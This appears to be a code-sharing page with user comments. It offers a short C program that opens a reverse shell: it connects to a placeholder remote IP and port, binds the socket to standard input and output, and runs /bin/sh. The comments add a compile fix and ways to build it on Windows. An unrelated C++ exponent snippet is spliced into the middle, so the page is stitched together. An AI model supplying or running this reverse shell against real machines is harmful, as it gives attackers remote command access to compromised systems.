Simple C code to create a reverse shell

reverse_shell.c

/* credits to http://blog.techorganic.com/2015/01/04/pegasus-hacking-challenge/ */
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>

#define REMOTE_ADDR "XXX.XXX.XXX.XXX"
#define REMOTE_PORT XXX

int main(int argc, char *argv[])
{
    struct sockaddr_in sa;
    int s;

    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
    sa.sin_port = htons(REMOTE_PORT);

    s = socket(AF_INET, SOCK_STREAM, 0);
    connect(s, (struct sockaddr *)&sa, sizeof(sa));
    dup2(s, 0);
    dup2(s, 1);
    dup2(s, 2);

    execve("/bin/sh", 0, 0);
    return 0;
}

#include
using namespace std;

int main() {
int a, b, temp=1;
cin>>a>>b;

for ( int i = 1 ; i <= b ; i++){
    temp = temp * a;    
}

cout<<temp;

cin.get();
return 0;

}
//try it with FOR loop

can I use this on windows?

no you can't use it on windows since he is using linux librairies (unistd.h and all the sys/...)

You have to include inet.h :
#include <arpa/inet.h>
Else you're gonna have an error with gcc because it's using inet_addr()

You have to include inet.h :
#include <arpa/inet.h>
Else you're gonna have an error with gcc because it's using inet_addr()

Is this working for u

can I use this on windows?

or you can compile it with cywgin, but the required dll files must be on the path